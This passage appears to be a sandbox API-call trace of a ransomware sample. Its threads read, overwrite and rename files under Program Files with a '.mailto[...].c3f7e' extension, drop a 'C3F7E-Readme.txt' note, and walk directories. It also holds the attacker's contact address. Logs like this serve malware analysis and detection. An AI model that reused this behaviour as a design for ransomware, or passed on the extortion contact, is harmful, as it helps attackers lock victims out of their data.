	[0082.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfabf8
	[0082.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.867] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.867] ReadFile (in: hFile=0x16b4, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0xf2c, lpNumberOfBytesRead=0xb48fa6c, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0xb48fa6c*=0xf2c, lpOverlapped=0x0) returned 1
	[0082.868] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.868] WriteFile (in: hFile=0x16b4, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0xf2c, lpNumberOfBytesWritten=0xb48fa68, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0xb48fa68*=0xf2c, lpOverlapped=0x0) returned 1
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfabf8) returned 1
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2e337f8
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e60) returned 1
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2e33de8
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33dc0
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0082.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x103) returned 0x4717170
	[0082.910] SetFilePointerEx (in: hFile=0x16b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.910] WriteFile (in: hFile=0x16b4, lpBuffer=0x4717170*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xb48fad0, lpOverlapped=0x0 | out: lpBuffer=0x4717170*, lpNumberOfBytesWritten=0xb48fad0*=0x103, lpOverlapped=0x0) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717170) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33de8) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33dc0) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.920] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476eff8
	[0082.920] wcscpy (in: _Dest=0x476eff8, _Source="C:\\Program Files\\rempl\\rempl.xml" | out: _Dest="C:\\Program Files\\rempl\\rempl.xml") returned="C:\\Program Files\\rempl\\rempl.xml"
	[0082.920] wcscat (in: _Dest=0x476eff8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\rempl\\rempl.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\rempl\\rempl.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\rempl\\rempl.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb48fa88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\rempl\\rempl.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x49869b0
	[0082.920] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0xb48fa80, FileInformation=0x49869b0, Length=0x9e, FileInformationClass=0xa) returned 0x0
	[0082.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49869b0) returned 1
	[0082.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31380) returned 1
	[0082.933] NtQueryInformationFile (in: FileHandle=0x16b4, IoStatusBlock=0xb48fa94, FileInformation=0xb48fa6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb48fa94, FileInformation=0xb48fa6c) returned 0x0
	[0082.933] NtSetInformationFile (FileHandle=0x16b4, IoStatusBlock=0xb48fa94, FileInformation=0xb48fa6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0082.934] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476eff8) returned 1
	[0082.934] FlushFileBuffers (hFile=0x16b4) returned 1
	[0082.938] CloseHandle (hObject=0x16b4) returned 1
	[0082.943] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daf6c8
	[0082.943] wcscpy (in: _Dest=0x2daf6c8, _Source="C:\\Program Files\\rempl\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0082.943] wcscat (in: _Dest=0x2daf6c8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\rempl\\C3F7E-Readme.txt") returned="C:\\Program Files\\rempl\\C3F7E-Readme.txt"
	[0082.943] GetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\C3F7E-Readme.txt" (normalized: "c:\\program files\\rempl\\c3f7e-readme.txt")) returned 0xffffffff
	[0082.943] CreateFileW (lpFileName="C:\\Program Files\\rempl\\C3F7E-Readme.txt" (normalized: "c:\\program files\\rempl\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16b4
	[0082.946] WriteFile (in: hFile=0x16b4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xb48fa90, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xb48fa90*=0x6f6, lpOverlapped=0x0) returned 1
	[0082.947] CloseHandle (hObject=0x16b4) returned 1
	[0082.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0082.947] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730470) returned 1

Thread:
	id = 237
	os_tid = 0x11e4

	[0076.753] GetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml" (normalized: "c:\\program files\\rempl\\unlock.xml")) returned 0x20
	[0081.783] SetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml", dwFileAttributes=0x20) returned 1
	[0081.784] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Unlock.xml" (normalized: "c:\\program files\\rempl\\unlock.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x146c
	[0081.784] GetFileSizeEx (in: hFile=0x146c, lpFileSize=0xb50fadc | out: lpFileSize=0xb50fadc*=1541) returned 1
	[0081.784] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x601, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.785] ReadFile (in: hFile=0x146c, lpBuffer=0xb50fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb50fa5c, lpOverlapped=0x0 | out: lpBuffer=0xb50fa60*, lpNumberOfBytesRead=0xb50fa5c*=0x4, lpOverlapped=0x0) returned 1
	[0081.786] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.786] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.786] NtQuerySystemTime (in: CurrentTime=0xb50fa3c | out: CurrentTime=0xb50fa3c*=132251868085151274) returned 0x0
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x1d9d6f05
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xf8833d88
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xf77c6039
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xce662940
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xdf36dc42
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xcf94f9e1
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x406906e9
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x4acefc9f
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xdc3c8ea2
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x6ef1248e
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x41d99305
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x71b328db
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x19711c53
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x44e32427
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x4f869085
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xa8d80184
	[0081.786] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xbb7dd694
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xefa6cb83
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x9c2cb34b
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x42d552a4
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x2cdb548f
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x414895bb
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x9bb59a0b
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x25ece0d2
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x9aac383d
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xf7f5dd2d
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x5f3db397
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xb5dbe5a5
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xd5a90c76
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0xe5286d34
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x693347a1
	[0081.787] RtlRandom (in: Seed=0xb50fa48 | out: Seed=0xb50fa48) returned 0x560f8635
	[0081.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.795] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4914058
	[0081.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482c010
	[0081.795] ReadFile (in: hFile=0x146c, lpBuffer=0x4914058, nNumberOfBytesToRead=0x605, lpNumberOfBytesRead=0xb50fa38, lpOverlapped=0x0 | out: lpBuffer=0x4914058*, lpNumberOfBytesRead=0xb50fa38*=0x605, lpOverlapped=0x0) returned 1
	[0081.795] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.795] WriteFile (in: hFile=0x146c, lpBuffer=0x482c010*, nNumberOfBytesToWrite=0x605, lpNumberOfBytesWritten=0xb50fa34, lpOverlapped=0x0 | out: lpBuffer=0x482c010*, lpNumberOfBytesWritten=0xb50fa34*=0x605, lpOverlapped=0x0) returned 1
	[0084.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0084.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0084.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x482c010) returned 1
	[0084.801] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4914058) returned 1
	[0084.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0084.802] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0084.802] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d780b0
	[0084.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x21) returned 0x2d77db0
	[0084.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.803] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x105) returned 0x500cbe8
	[0084.803] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.803] WriteFile (in: hFile=0x146c, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0xb50fa9c, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0xb50fa9c*=0x105, lpOverlapped=0x0) returned 1
	[0084.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0084.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0084.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0084.804] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0084.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0084.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0084.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x4e31418
	[0084.805] wcscpy (in: _Dest=0x4e31418, _Source="C:\\Program Files\\rempl\\Unlock.xml" | out: _Dest="C:\\Program Files\\rempl\\Unlock.xml") returned="C:\\Program Files\\rempl\\Unlock.xml"
	[0084.805] wcscat (in: _Dest=0x4e31418, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\rempl\\Unlock.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\rempl\\Unlock.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\rempl\\Unlock.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xb50fa54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\rempl\\Unlock.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.805] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4987778
	[0084.805] NtSetInformationFile (FileHandle=0x146c, IoStatusBlock=0xb50fa4c, FileInformation=0x4987778, Length=0xa0, FileInformationClass=0xa) returned 0x0
	[0084.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4987778) returned 1
	[0084.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894aa0) returned 1
	[0084.807] NtQueryInformationFile (in: FileHandle=0x146c, IoStatusBlock=0xb50fa60, FileInformation=0xb50fa38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb50fa60, FileInformation=0xb50fa38) returned 0x0
	[0084.807] NtSetInformationFile (FileHandle=0x146c, IoStatusBlock=0xb50fa60, FileInformation=0xb50fa38, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.809] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31418) returned 1
	[0084.809] FlushFileBuffers (hFile=0x146c) returned 1
	[0084.814] CloseHandle (hObject=0x146c) returned 1
	[0084.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daeb28
	[0084.815] wcscpy (in: _Dest=0x2daeb28, _Source="C:\\Program Files\\rempl\\" | out: _Dest="C:\\Program Files\\rempl\\") returned="C:\\Program Files\\rempl\\"
	[0084.815] wcscat (in: _Dest=0x2daeb28, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\rempl\\C3F7E-Readme.txt") returned="C:\\Program Files\\rempl\\C3F7E-Readme.txt"
	[0084.815] GetFileAttributesW (lpFileName="C:\\Program Files\\rempl\\C3F7E-Readme.txt" (normalized: "c:\\program files\\rempl\\c3f7e-readme.txt")) returned 0x20
	[0084.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daeb28) returned 1
	[0084.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730c40) returned 1

Thread:
	id = 238
	os_tid = 0xea0

	[0076.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d85bd8
	[0076.754] wcscpy (in: _Dest=0x2d85bd8, _Source="C:\\Program Files\\UNP\\CampaignManager" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager") returned="C:\\Program Files\\UNP\\CampaignManager"
	[0076.754] wcscat (in: _Dest=0x2d85bd8, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\") returned="C:\\Program Files\\UNP\\CampaignManager\\"
	[0076.754] wcscat (in: _Dest=0x2d85bd8, _Source="*" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\*") returned="C:\\Program Files\\UNP\\CampaignManager\\*"
	[0076.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4790970
	[0076.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\*", lpFindFileData=0x4790970 | out: lpFindFileData=0x4790970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70940
	[0076.754] wcscmp (_String1=".", _String2=".") returned 0
	[0076.754] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x4790970 | out: lpFindFileData=0x4790970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.755] wcscmp (_String1="..", _String2=".") returned 1
	[0076.755] wcscmp (_String1="..", _String2="..") returned 0
	[0076.755] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x4790970 | out: lpFindFileData=0x4790970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xce2469cc, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x26, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignCatalog.json", cAlternateFileName="CAMPAI~1.JSO")) returned 1
	[0076.755] wcscmp (_String1="CampaignCatalog.json", _String2=".") returned 1
	[0076.755] wcscmp (_String1="CampaignCatalog.json", _String2="..") returned 1
	[0076.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x2d60148
	[0076.755] wcscpy (in: _Dest=0x2d60148, _Source="C:\\Program Files\\UNP\\CampaignManager" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager") returned="C:\\Program Files\\UNP\\CampaignManager"
	[0076.755] wcscat (in: _Dest=0x2d60148, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\") returned="C:\\Program Files\\UNP\\CampaignManager\\"
	[0076.755] wcscat (in: _Dest=0x2d60148, _Source="CampaignCatalog.json" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json") returned="C:\\Program Files\\UNP\\CampaignManager\\CampaignCatalog.json"
	[0077.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d60148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0077.267] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x4790970 | out: lpFindFileData=0x4790970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 1
	[0077.267] wcscmp (_String1="Campaigns", _String2=".") returned 1
	[0077.267] wcscmp (_String1="Campaigns", _String2="..") returned 1
	[0077.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733c10
	[0077.267] wcscpy (in: _Dest=0x4733c10, _Source="C:\\Program Files\\UNP\\CampaignManager" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager") returned="C:\\Program Files\\UNP\\CampaignManager"
	[0077.267] wcscat (in: _Dest=0x4733c10, _Source="\\" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\") returned="C:\\Program Files\\UNP\\CampaignManager\\"
	[0077.267] wcscat (in: _Dest=0x4733c10, _Source="Campaigns" | out: _Dest="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned="C:\\Program Files\\UNP\\CampaignManager\\Campaigns"
	[0077.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0077.268] FindNextFileW (in: hFindFile=0x2d70940, lpFindFileData=0x4790970 | out: lpFindFileData=0x4790970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0
	[0077.268] FindClose (in: hFindFile=0x2d70940 | out: hFindFile=0x2d70940) returned 1
	[0077.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790970) returned 1
	[0077.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85bd8) returned 1
	[0077.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85d90) returned 1

Thread:
	id = 239
	os_tid = 0x1238

	[0076.755] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2d709c0
